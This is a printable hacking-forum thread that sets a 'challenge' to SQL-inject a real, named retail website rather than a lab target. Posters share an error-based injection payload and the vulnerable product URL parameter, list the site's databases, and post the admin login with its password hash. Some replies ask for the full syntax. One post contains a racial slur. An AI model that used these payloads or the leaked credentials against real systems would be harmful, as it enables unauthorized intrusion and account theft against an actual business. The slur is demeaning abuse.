[Challenge]pcez.co.uk [SQLi][Easy/Medium]

[Challenge]pcez.co.uk [SQLi][Easy/Medium] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: [Challenge]pcez.co.uk [SQLi][Easy/Medium] (/showthread.php?tid=2273646)

Pages: Pages 1 2

[Challenge]pcez.co.uk [SQLi][Easy/Medium] - Zhen. - Mar 4, 2012

Challenge has two difficulties:

Easy and Medium

Target: http://www.pcez.co.uk

Goal:

For Easy: Get all databases

For Medium: Get the admin username and pass

Proof:
Admin login : http://screensnapr.com/v/nYUoh9.jpg

Users: http://screensnapr.com/v/hsZUES.jpg

Good luck

Solvers:
1.GrickoTheNoob

2.zikmik

3.Razor4x 5_0

4. -Downfall

* - Brennanx1 - Mar 4, 2012

Can't seem to get the number of columns :P

* - zikmik - Mar 5, 2012

[img]http://www.pixshock.net/pic_b/4032dc208534424c56c3fe87174d63a0.png[/img]
and so on, and so on...

* - Zhen. - Mar 5, 2012

(Mar 5, 2012 02:51 AM)zikmik Wrote: [img]http://www.pixshock.net/pic_b/4032dc208534424c56c3fe87174d63a0.png[/img]
and so on, and so on...

That's the easiest part if I were to say.

You did get the info using

Code 
or 1 group by concat_ws(0x3a,version(),database(),user(),floor(rand(0)*2)) having min(0) or 1

That's not the challenge.
Get the names of the databases and I'll add you to the solvers list

* - zikmik - Mar 5, 2012

Is this enough for you?!?

http://www.pcez.co.uk/product.php?prd_id=125

* - sBep - Mar 5, 2012

Databases: information_schema, kingpcez_bluebox, kingpcez_pantry, kingpcez_parts, kingpcez_pcez, kingpcez_shop, kingpcez_whm

Admin login: admin:21232f297a57a5a743894a0e4

* - Zhen. - Mar 5, 2012

(Mar 5, 2012 04:02 AM)zikmik Wrote: Is this enough for you?!?

http://www.pcez.co.uk/product.php?prd_id=125

facepalm
Control your feelings and stop being a sissy 🤦‍♂

Added you to the solvers list.
Next time, read the instructions rather than solving like a blind person

* - MrJoombalaya - Mar 7, 2012

any chance you pm me the solution? 😅

* - !!!! - Mar 8, 2012

Hi!
I tried the challenge and found the number of columns with the "String based SQLi" technique but when I use the "Union select" command,it gives 403:Forbidden error!

May I please get the solution to this step?
Thnx! :)

* - -DownFall - Mar 8, 2012

Didn't even see this challenge until today lol o.o

Spoiler (Click to View)
Spoiler (Click to View)

Code 
information_schema

kingpcez_bluebox

kingpcez_pantry

kingpcez_parts

kingpcez_pcez

kingpcez_shop

kingpcez_whm

* - Zhen. - Mar 8, 2012

(Mar 8, 2012 12:16 PM)-DownFall Wrote: Didn't even see this challenge until today lol o.o

Spoiler (Click to View)
Spoiler (Click to View)

Code
information_schema kingpcez_bluebox kingpcez_pantry kingpcez_parts kingpcez_pcez kingpcez_shop kingpcez_whm

lol

Send me the syntax nigga
Added to the solver's lsit

* - -DownFall - Mar 8, 2012

(Mar 8, 2012 12:38 PM)-Zer0Freak- Wrote: lol

Send me the syntax nigga
Added to the solver's lsit

My bad :c I forgot lol o.o

* - laxor2307 - Mar 8, 2012

I've tried to solve this. I'm not totally new to this, I've tried several methods. All ended in vain. Can Anyone Give me a hint or the syntax? And no I'm not stuck on WAF bypassing. I've also followed ALL -DownFall's guides. Need help.

RE: *Steps please - watchd0gs - May 16, 2018

Can you Pm me
how you did it ?

RE: [Challenge]pcez.co.uk [SQLi][Easy/Medium] - andmuchmore - May 16, 2018

I am not sure what is more impressive.. You bumping a 6 year old post and expecting an answer or the site that was posted as a challenge is still vuln....